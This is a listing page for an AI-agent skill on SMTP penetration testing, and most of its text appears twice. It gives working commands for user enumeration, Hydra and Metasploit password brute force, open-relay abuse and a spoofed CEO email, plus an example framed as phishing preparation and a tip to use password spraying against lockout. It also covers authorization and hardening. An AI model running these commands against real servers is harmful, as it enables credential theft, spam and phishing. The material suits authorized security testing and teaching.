SMTP Penetration Testing

•

24.4k23993 months ago

This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". It provides comprehensive techniques for testing SMTP server security.

Quick Install

npxskills add davila7/claude-code-templates--skill "SMTP Penetration Testing"

Instructions

SMTP Penetration Testing

Purpose

Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.

Prerequisites

Required Tools

# Nmap with SMTP scripts
sudo apt-get install nmap

# Netcat
sudo apt-get install netcat

# Hydra for brute force
sudo apt-get install hydra

# SMTP user enumeration tool
sudo apt-get install smtp-user-enum

# Metasploit Framework
msfconsole

Required Knowledge

SMTP protocol fundamentals
Email architecture (MTA, MDA, MUA)
DNS and MX records
Network protocols

Required Access

Target SMTP server IP/hostname
Written authorization for testing
Wordlists for enumeration and brute force

Outputs and Deliverables

SMTP Security Assessment Report - Comprehensive vulnerability findings
User Enumeration Results - Valid email addresses discovered
Relay Test Results - Open relay status and exploitation potential
Remediation Recommendations - Security hardening guidance

Core Workflow

Phase 1: SMTP Architecture Understanding

Components: MTA (transfer) → MDA (delivery) → MUA (client)

Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)

Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA

Phase 2: SMTP Service Discovery

Identify SMTP servers and versions:

# Discover SMTP ports
nmap -p 25,465,587,2525 -sV TARGET_IP

# Aggressive service detection
nmap -sV -sC -p 25 TARGET_IP

# SMTP-specific scripts
nmap --script=smtp-* -p 25 TARGET_IP

# Discover MX records for domain
dig MX target.com
nslookup -type=mx target.com
host -t mx target.com

Phase 3: Banner Grabbing

Retrieve SMTP server information:

# Using Telnet
telnet TARGET_IP 25
# Response: 220 mail.target.com ESMTP Postfix

# Using Netcat
nc TARGET_IP 25
# Response: 220 mail.target.com ESMTP

# Using Nmap
nmap -sV -p 25 TARGET_IP
# Version detection extracts banner info

# Manual SMTP commands
EHLO test
# Response reveals supported extensions

Parse banner information:

Banner reveals:
- Server software (Postfix, Sendmail, Exchange)
- Version information
- Hostname
- Supported SMTP extensions (STARTTLS, AUTH, etc.)

Phase 4: SMTP Command Enumeration

Test available SMTP commands:

# Connect and test commands
nc TARGET_IP 25

# Initial greeting
EHLO attacker.com

# Response shows capabilities:
250-mail.target.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-8BITMIME
250 DSN

Key commands to test:

# VRFY - Verify user exists
VRFY admin
250 2.1.5 [email protected]

# EXPN - Expand mailing list
EXPN staff
250 2.1.5 [email protected]
250 2.1.5 [email protected]

# RCPT TO - Recipient verification
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
# 250 OK = user exists
# 550 = user doesn't exist

Phase 5: User Enumeration

Enumerate valid email addresses:

# Using smtp-user-enum with VRFY
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP

# Using EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP

# Using RCPT method
smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP

# Specify port and domain
smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com

Using Metasploit:

use auxiliary/scanner/smtp/smtp_enum
set RHOSTS TARGET_IP
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set UNIXONLY true
run

Using Nmap:

# SMTP user enumeration script
nmap --script smtp-enum-users -p 25 TARGET_IP

# With custom user list
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP

Phase 6: Open Relay Testing

Test for unauthorized email relay:

# Using Nmap
nmap -p 25 --script smtp-open-relay TARGET_IP

# Manual testing via Telnet
telnet TARGET_IP 25
HELO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
Subject: Relay Test
This is a test.
.
QUIT

# If accepted (250 OK), server is open relay

Using Metasploit:

use auxiliary/scanner/smtp/smtp_relay
set RHOSTS TARGET_IP
run

Test variations:

# Test different sender/recipient combinations
MAIL FROM:<>
MAIL FROM:<test@[attacker_IP]>
MAIL FROM:<[email protected]>

RCPT TO:<[email protected]>
RCPT TO:<"[email protected]">
RCPT TO:<test%[email protected]>

Phase 7: Brute Force Authentication

Test for weak SMTP credentials:

# Using Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP

# With specific port and SSL
hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp

# Multiple users
hydra -L users.txt -P passwords.txt TARGET_IP smtp

# Verbose output
hydra -l admin -P passwords.txt smtp://TARGET_IP -V

Using Medusa:

medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp

Using Metasploit:

use auxiliary/scanner/smtp/smtp_login
set RHOSTS TARGET_IP
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
set VERBOSE true
run

Phase 8: SMTP Command Injection

Test for command injection vulnerabilities:

# Header injection test
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
Subject: Test
Bcc: [email protected]
X-Injected: malicious-header

Injected content
.

Email spoofing test:

# Spoofed sender (tests SPF/DKIM protection)
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
From: CEO <[email protected]>
Subject: Urgent Request
Please process this request immediately.
.

Phase 9: TLS/SSL Security Testing

Test encryption configuration:

# STARTTLS support check
openssl s_client -connect TARGET_IP:25 -starttls smtp

# Direct SSL (port 465)
openssl s_client -connect TARGET_IP:465

# Cipher enumeration
nmap --script ssl-enum-ciphers -p 25 TARGET_IP

Phase 10: SPF, DKIM, DMARC Analysis

Check email authentication records:

# SPF/DKIM/DMARC record lookups
dig TXT target.com | grep spf            # SPF
dig TXT selector._domainkey.target.com    # DKIM
dig TXT _dmarc.target.com                 # DMARC

# SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral

Quick Reference

Essential SMTP Commands

Command	Purpose	Example
HELO	Identify client	`HELO client.com`
EHLO	Extended HELO	`EHLO client.com`
MAIL FROM	Set sender	`MAIL FROM:<[email protected]>`
RCPT TO	Set recipient	`RCPT TO:<[email protected]>`
DATA	Start message body	`DATA`
VRFY	Verify user

SMTP Response Codes

Code	Meaning
220	Service ready
221	Closing connection
250	OK / Requested action completed
354	Start mail input
421	Service not available
450	Mailbox unavailable
550	User unknown / Mailbox not found
553	Mailbox name not allowed

Enumeration Tool Commands

Tool	Command
smtp-user-enum	`smtp-user-enum -M VRFY -U users.txt -t IP`
Nmap	`nmap --script smtp-enum-users -p 25 IP`
Metasploit	`use auxiliary/scanner/smtp/smtp_enum`
Netcat	`nc IP 25` then manual commands

Common Vulnerabilities

Vulnerability	Risk	Test Method
Open Relay	High	Relay test with external recipient
User Enumeration	Medium	VRFY/EXPN/RCPT commands
Banner Disclosure	Low	Banner grabbing
Weak Auth	High	Brute force attack
No TLS	Medium	STARTTLS test
Missing SPF/DKIM	Medium	DNS record lookup

Constraints and Limitations

Legal Requirements

Only test SMTP servers you own or have authorization to test
Sending spam or malicious emails is illegal
Document all testing activities
Do not abuse discovered open relays

Technical Limitations

VRFY/EXPN often disabled on modern servers
Rate limiting may slow enumeration
Some servers respond identically for valid/invalid users
Greylisting may delay enumeration responses

Ethical Boundaries

Never send actual spam through discovered relays
Do not harvest email addresses for malicious use
Report open relays to server administrators
Use findings only for authorized security improvement

Examples

Example 1: Complete SMTP Assessment

Scenario: Full security assessment of mail server

# Step 1: Service discovery
nmap -sV -sC -p 25,465,587 mail.target.com

# Step 2: Banner grab
nc mail.target.com 25
EHLO test.com
QUIT

# Step 3: User enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com

# Step 4: Open relay test
nmap -p 25 --script smtp-open-relay mail.target.com

# Step 5: Authentication test
hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com

# Step 6: TLS check
openssl s_client -connect mail.target.com:25 -starttls smtp

# Step 7: Check email authentication
dig TXT target.com | grep spf
dig TXT _dmarc.target.com

Example 2: User Enumeration Attack

Scenario: Enumerate valid users for phishing preparation

# Method 1: VRFY
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25

# Method 2: RCPT with timing analysis
smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com

# Method 3: Metasploit
msfconsole
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
run

# Results show valid users
[+] 192.168.1.100:25 - Found user: admin
[+] 192.168.1.100:25 - Found user: root
[+] 192.168.1.100:25 - Found user: postmaster

Example 3: Open Relay Exploitation

Scenario: Test and document open relay vulnerability

# Test via Telnet
telnet mail.target.com 25
HELO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
# If 250 OK - VULNERABLE

# Document with Nmap
nmap -p 25 --script smtp-open-relay --script-args [email protected],[email protected] mail.target.com

# Output:
# PORT   STATE SERVICE
# 25/tcp open  smtp
# |_smtp-open-relay: Server is an open relay (14/16 tests)

Troubleshooting

Issue	Cause	Solution
Connection Refused	Port blocked or closed	Check port with nmap; ISP may block port 25; try 587/465; use VPN
VRFY/EXPN Disabled	Server hardened	Use RCPT TO method; analyze response time/code variations
Brute Force Blocked	Rate limiting/lockout	Slow down (`hydra -W 5`); use password spraying; check for fail2ban
SSL/TLS Errors	Wrong port or protocol	Use 465 for SSL, 25/587 for STARTTLS; verify EHLO response

Security Recommendations

For Administrators

Disable Open Relay - Require authentication for external delivery
Disable VRFY/EXPN - Prevent user enumeration
Enforce TLS - Require STARTTLS for all connections
Implement SPF/DKIM/DMARC - Prevent email spoofing
Rate Limiting - Prevent brute force attacks
Account Lockout - Lock accounts after failed attempts
Banner Hardening - Minimize server information disclosure
Log Monitoring - Alert on suspicious activity
Patch Management - Keep SMTP software updated
Access Controls - Restrict SMTP to authorized IPs

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SMTP Penetration Testing

Purpose

Prerequisites

Required Tools

# Nmap with SMTP scripts
sudo apt-get install nmap

# Netcat
sudo apt-get install netcat

# Hydra for brute force
sudo apt-get install hydra

# SMTP user enumeration tool
sudo apt-get install smtp-user-enum

# Metasploit Framework
msfconsole

Required Knowledge

SMTP protocol fundamentals
Email architecture (MTA, MDA, MUA)
DNS and MX records
Network protocols

Required Access

Target SMTP server IP/hostname
Written authorization for testing
Wordlists for enumeration and brute force

Outputs and Deliverables

SMTP Security Assessment Report - Comprehensive vulnerability findings
User Enumeration Results - Valid email addresses discovered
Relay Test Results - Open relay status and exploitation potential
Remediation Recommendations - Security hardening guidance

Core Workflow

Phase 1: SMTP Architecture Understanding

Components: MTA (transfer) → MDA (delivery) → MUA (client)

Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)

Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA

Phase 2: SMTP Service Discovery

Identify SMTP servers and versions:

# Discover SMTP ports
nmap -p 25,465,587,2525 -sV TARGET_IP

# Aggressive service detection
nmap -sV -sC -p 25 TARGET_IP

# SMTP-specific scripts
nmap --script=smtp-* -p 25 TARGET_IP

# Discover MX records for domain
dig MX target.com
nslookup -type=mx target.com
host -t mx target.com

Phase 3: Banner Grabbing

Retrieve SMTP server information:

# Using Telnet
telnet TARGET_IP 25
# Response: 220 mail.target.com ESMTP Postfix

# Using Netcat
nc TARGET_IP 25
# Response: 220 mail.target.com ESMTP

# Using Nmap
nmap -sV -p 25 TARGET_IP
# Version detection extracts banner info

# Manual SMTP commands
EHLO test
# Response reveals supported extensions

Parse banner information:

Banner reveals:
- Server software (Postfix, Sendmail, Exchange)
- Version information
- Hostname
- Supported SMTP extensions (STARTTLS, AUTH, etc.)

Phase 4: SMTP Command Enumeration

Test available SMTP commands:

# Connect and test commands
nc TARGET_IP 25

# Initial greeting
EHLO attacker.com

# Response shows capabilities:
250-mail.target.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-8BITMIME
250 DSN

Key commands to test:

# VRFY - Verify user exists
VRFY admin
250 2.1.5 [email protected]

# EXPN - Expand mailing list
EXPN staff
250 2.1.5 [email protected]
250 2.1.5 [email protected]

# RCPT TO - Recipient verification
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
# 250 OK = user exists
# 550 = user doesn't exist

Phase 5: User Enumeration

Enumerate valid email addresses:

# Using smtp-user-enum with VRFY
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP

# Using EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP

# Using RCPT method
smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP

# Specify port and domain
smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com

Using Metasploit:

use auxiliary/scanner/smtp/smtp_enum
set RHOSTS TARGET_IP
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set UNIXONLY true
run

Using Nmap:

# SMTP user enumeration script
nmap --script smtp-enum-users -p 25 TARGET_IP

# With custom user list
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP

Phase 6: Open Relay Testing

Test for unauthorized email relay:

# Using Nmap
nmap -p 25 --script smtp-open-relay TARGET_IP

# Manual testing via Telnet
telnet TARGET_IP 25
HELO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
Subject: Relay Test
This is a test.
.
QUIT

# If accepted (250 OK), server is open relay

Using Metasploit:

use auxiliary/scanner/smtp/smtp_relay
set RHOSTS TARGET_IP
run

Test variations:

# Test different sender/recipient combinations
MAIL FROM:<>
MAIL FROM:<test@[attacker_IP]>
MAIL FROM:<[email protected]>

RCPT TO:<[email protected]>
RCPT TO:<"[email protected]">
RCPT TO:<test%[email protected]>

Phase 7: Brute Force Authentication

Test for weak SMTP credentials:

# Using Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP

# With specific port and SSL
hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp

# Multiple users
hydra -L users.txt -P passwords.txt TARGET_IP smtp

# Verbose output
hydra -l admin -P passwords.txt smtp://TARGET_IP -V

Using Medusa:

medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp

Using Metasploit:

use auxiliary/scanner/smtp/smtp_login
set RHOSTS TARGET_IP
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
set VERBOSE true
run

Phase 8: SMTP Command Injection

Test for command injection vulnerabilities:

# Header injection test
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
Subject: Test
Bcc: [email protected]
X-Injected: malicious-header

Injected content
.

Email spoofing test:

# Spoofed sender (tests SPF/DKIM protection)
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
From: CEO <[email protected]>
Subject: Urgent Request
Please process this request immediately.
.

Phase 9: TLS/SSL Security Testing

Test encryption configuration:

# STARTTLS support check
openssl s_client -connect TARGET_IP:25 -starttls smtp

# Direct SSL (port 465)
openssl s_client -connect TARGET_IP:465

# Cipher enumeration
nmap --script ssl-enum-ciphers -p 25 TARGET_IP

Phase 10: SPF, DKIM, DMARC Analysis

Check email authentication records:

# SPF/DKIM/DMARC record lookups
dig TXT target.com | grep spf            # SPF
dig TXT selector._domainkey.target.com    # DKIM
dig TXT _dmarc.target.com                 # DMARC

# SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral

Quick Reference

Essential SMTP Commands

Command	Purpose	Example
HELO	Identify client	`HELO client.com`
EHLO	Extended HELO	`EHLO client.com`
MAIL FROM	Set sender	`MAIL FROM:<[email protected]>`
RCPT TO	Set recipient	`RCPT TO:<[email protected]>`
DATA	Start message body	`DATA`
VRFY	Verify user

SMTP Response Codes

Code	Meaning
220	Service ready
221	Closing connection
250	OK / Requested action completed
354	Start mail input
421	Service not available
450	Mailbox unavailable
550	User unknown / Mailbox not found
553	Mailbox name not allowed

Enumeration Tool Commands

Tool	Command
smtp-user-enum	`smtp-user-enum -M VRFY -U users.txt -t IP`
Nmap	`nmap --script smtp-enum-users -p 25 IP`
Metasploit	`use auxiliary/scanner/smtp/smtp_enum`
Netcat	`nc IP 25` then manual commands

Common Vulnerabilities

Vulnerability	Risk	Test Method
Open Relay	High	Relay test with external recipient
User Enumeration	Medium	VRFY/EXPN/RCPT commands
Banner Disclosure	Low	Banner grabbing
Weak Auth	High	Brute force attack
No TLS	Medium	STARTTLS test
Missing SPF/DKIM	Medium	DNS record lookup

Constraints and Limitations

Legal Requirements

Only test SMTP servers you own or have authorization to test
Sending spam or malicious emails is illegal
Document all testing activities
Do not abuse discovered open relays

Technical Limitations

VRFY/EXPN often disabled on modern servers
Rate limiting may slow enumeration
Some servers respond identically for valid/invalid users
Greylisting may delay enumeration responses

Ethical Boundaries

Never send actual spam through discovered relays
Do not harvest email addresses for malicious use
Report open relays to server administrators
Use findings only for authorized security improvement

Examples

Example 1: Complete SMTP Assessment

Scenario: Full security assessment of mail server

# Step 1: Service discovery
nmap -sV -sC -p 25,465,587 mail.target.com

# Step 2: Banner grab
nc mail.target.com 25
EHLO test.com
QUIT

# Step 3: User enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com

# Step 4: Open relay test
nmap -p 25 --script smtp-open-relay mail.target.com

# Step 5: Authentication test
hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com

# Step 6: TLS check
openssl s_client -connect mail.target.com:25 -starttls smtp

# Step 7: Check email authentication
dig TXT target.com | grep spf
dig TXT _dmarc.target.com

Example 2: User Enumeration Attack

Scenario: Enumerate valid users for phishing preparation

# Method 1: VRFY
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25

# Method 2: RCPT with timing analysis
smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com

# Method 3: Metasploit
msfconsole
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
run

# Results show valid users
[+] 192.168.1.100:25 - Found user: admin
[+] 192.168.1.100:25 - Found user: root
[+] 192.168.1.100:25 - Found user: postmaster

Example 3: Open Relay Exploitation

Scenario: Test and document open relay vulnerability

# Test via Telnet
telnet mail.target.com 25
HELO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
# If 250 OK - VULNERABLE

# Document with Nmap
nmap -p 25 --script smtp-open-relay --script-args [email protected],[email protected] mail.target.com

# Output:
# PORT   STATE SERVICE
# 25/tcp open  smtp
# |_smtp-open-relay: Server is an open relay (14/16 tests)

Troubleshooting

Issue	Cause	Solution
Connection Refused	Port blocked or closed	Check port with nmap; ISP may block port 25; try 587/465; use VPN
VRFY/EXPN Disabled	Server hardened	Use RCPT TO method; analyze response time/code variations
Brute Force Blocked	Rate limiting/lockout	Slow down (`hydra -W 5`); use password spraying; check for fail2ban
SSL/TLS Errors	Wrong port or protocol	Use 465 for SSL, 25/587 for STARTTLS; verify EHLO response

Security Recommendations

For Administrators

Disable Open Relay - Require authentication for external delivery
Disable VRFY/EXPN - Prevent user enumeration
Enforce TLS - Require STARTTLS for all connections
Implement SPF/DKIM/DMARC - Prevent email spoofing
Rate Limiting - Prevent brute force attacks
Account Lockout - Lock accounts after failed attempts
Banner Hardening - Minimize server information disclosure
Log Monitoring - Alert on suspicious activity
Patch Management - Keep SMTP software updated
Access Controls - Restrict SMTP to authorized IPs